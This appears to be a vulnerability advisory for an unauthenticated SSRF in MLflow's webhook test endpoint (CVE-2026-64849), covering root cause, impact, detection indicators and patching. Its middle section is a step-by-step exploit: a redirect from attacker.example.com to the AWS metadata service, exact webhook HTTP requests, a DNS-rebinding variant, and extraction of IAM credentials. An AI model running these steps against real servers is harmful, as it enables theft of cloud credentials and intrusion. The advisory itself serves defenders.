CVE-2026-64849: 
NixOS Análisis y mitigación de vulnerabilidades

CVE-2026-64849 is a critical Server-Side Request Forgery (SSRF) vulnerability in MLflow's webhook delivery mechanism that allows unauthenticated attackers to reach internal services and cloud metadata endpoints. The flaw affects all MLflow versions prior to 3.15.0 and was originally reported privately on 2026-06-12, independently discovered publicly on 2026-06-26, and publicly disclosed via GitHub Advisory on 2026-08-17. It carries a CVSS v3.1 base score of 9.3 (Critical) (GitHub Advisory, Feedly).

The root cause (CWE-918: Server-Side Request Forgery) lies in a Time-of-Check to Time-of-Use (TOCTOU) gap in MLflow's webhook URL validation. The _validate_webhook_url() function in mlflow/utils/validation.py resolves the webhook hostname via socket.getaddrinfo() and verifies the IP is public, but critically discards the resolved IP without pinning it. The subsequent HTTP request in mlflow/webhooks/delivery.py calls session.post(webhook.url) which independently re-resolves the hostname, and follows HTTP redirects without re-validating redirect targets. Two bypass vectors exist: (1) Redirect-follow: an attacker's HTTPS endpoint passes validation then returns a 302 Location: http://169.254.169.254/... redirect that MLflow follows without re-checking; (2) DNS rebinding: the attacker's DNS server returns a public IP during validation and a private/metadata IP (e.g., 169.254.169.254) during the actual request. The vulnerable POST /api/2.0/mlflow/webhooks/{id}/test endpoint is unauthenticated on default MLflow server configurations and reflects the upstream response_status and response_body back to the caller (GitHub Advisory, GitHub Issue).

An unauthenticated remote attacker can force the MLflow server to issue HTTP requests to arbitrary internal, loopback, or cloud metadata endpoints and read the full response body via the /test endpoint. The primary impact is high-severity confidentiality loss: attackers can exfiltrate AWS IAM credentials from the instance metadata service (169.254.169.254/latest/meta-data/iam/security-credentials/), enabling lateral movement into cloud infrastructure with whatever permissions the MLflow server's IAM role holds. Additionally, 307/308 redirect variants allow blind POST writes to internal management endpoints (e.g., Docker daemon, Elasticsearch, Spring Boot Actuator), introducing a low-severity integrity impact. The vulnerability also enables internal network scanning and access to otherwise-unreachable admin services (GitHub Advisory, GitHub Issue).

CVE-2026-64849 is actively exploited in the wild and was added to the CISA Known Exploited Vulnerabilities (KEV) catalog on 2026-08-19 (CISA KEV, CISA Alert). The EPSS score is 0.1641 (approximately 16.4% probability of exploitation in the next 30 days). Detailed proof-of-concept exploitation steps are publicly available in the GitHub security advisory and issue tracker, including concrete HTTP request sequences (GitHub Advisory, GitHub Issue). A Nuclei detection template was also published (ProjectDiscovery). The vulnerability requires no authentication and no user interaction, making it fully automatable. Multiple security outlets reported active exploitation within hours of public disclosure (GBHackers, BleepingComputer).

1. Reconnaissance: Identify internet-facing MLflow tracking servers (default port 5000) using Shodan, Censys, or similar tools. Confirm the server is running MLflow < 3.15.0 and uses a SQL backend (default SQLite qualifies), which enables the webhooks API.

2. Set up attacker infrastructure (redirect bypass): Configure an attacker-controlled HTTPS server with a valid TLS certificate at a publicly resolvable domain (e.g., attacker.example.com). Configure it to return a 302 redirect to the target internal resource: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

3. Create a webhook pointing to the attacker's public host (passes _validate_webhook_url since the domain resolves to a public IP): POST /api/2.0/mlflow/webhooks HTTP/1.1\nHost: {{TARGET}}\nContent-Type: application/json\n{"name":"poc","url":"https://attacker.example.com/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} → Server responds with 200 and a webhook_id.

4. Trigger the webhook test endpoint (unauthenticated, reflects internal response): POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1\nHost: {{TARGET}}\nContent-Type: application/json\n{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}} → MLflow follows the 302 redirect to 169.254.169.254, fetches IAM credentials, and returns them in response_body.

5. Alternative — DNS rebinding: Configure a DNS server for rebind.attacker.com to return a public IP on the first query (validation) and 169.254.169.254 on the second (actual request). Create the webhook with url: http://rebind.attacker.com/catch and trigger a model registry event to fire the webhook automatically.

6. Exfiltrate credentials: Parse the response_body field from the /test response to extract AWS IAM temporary credentials (AccessKeyId, SecretAccessKey, Token) and use them to access cloud resources (GitHub Advisory, GitHub Issue).

• Network: Outbound HTTP requests from the MLflow server to 169.254.169.254 (AWS IMDS), 169.254.169.254/latest/meta-data/iam/security-credentials/, or other RFC1918/link-local addresses; outbound connections to attacker-controlled domains followed immediately by connections to internal IPs.
• Network: Unusual HTTP 302 redirect chains originating from the MLflow process to cloud metadata endpoints.
• Logs: MLflow access logs showing POST /api/2.0/mlflow/webhooks (webhook creation) followed by POST /api/2.0/mlflow/webhooks/<id>/test from the same or different unauthenticated source IPs.
• Logs: MLflow server logs showing outbound requests to 169.254.169.254 or internal RFC1918 addresses in webhook delivery context.
• Logs: Webhook creation events with URLs pointing to domains with very short DNS TTLs (DNS rebinding indicator) or domains that redirect to internal addresses.
• Cloud: Unexpected AWS API calls using IAM credentials associated with the MLflow server's instance role from unfamiliar IP addresses or regions, shortly after MLflow webhook activity.
• File System / Process: Unexpected processes spawned by the MLflow server process making outbound network connections to cloud metadata or internal services.

The primary remediation is to upgrade MLflow to version 3.15.0 or later, which introduces a SSRFProtectedHTTPAdapter that validates the peer IP of the actual connected socket immediately after TCP connect and before any TLS/HTTP exchange, closing both the redirect-follow and DNS rebinding TOCTOU gaps (MLflow Release, Fix PR). If immediate patching is not possible, restrict network access to the POST /api/2.0/mlflow/webhooks/{id}/test endpoint at the network/firewall level to trusted IPs only, or disable webhook functionality entirely. Additionally, deploy MLflow with the optional authentication plugin enabled to prevent unauthenticated access to the webhooks API. Ensure the MLflow server's IAM role follows least-privilege principles to limit the blast radius of any credential theft. Red Hat has also backported the fix for RHOAI deployments (Red Hat Bugzilla).

The vulnerability received significant attention from the security community, with multiple major outlets covering active exploitation within 24 hours of public disclosure, including BleepingComputer, The Hacker News, SecurityWeek, and GBHackers (BleepingComputer, The Hacker News, SecurityWeek). WatchTowr publicly noted in-the-wild activity on LinkedIn. CISA's rapid addition to the KEV catalog (within ~2 days of disclosure) underscored the severity. The cybersecurity community on Mastodon, Bluesky, and Reddit discussed the vulnerability extensively, with particular concern about the AI/ML platform attack surface and the fact that MLflow is widely deployed in cloud environments with privileged IAM roles. The Cloud Security Newsletter highlighted the risk to AI agent infrastructure (Cloud Security Newsletter).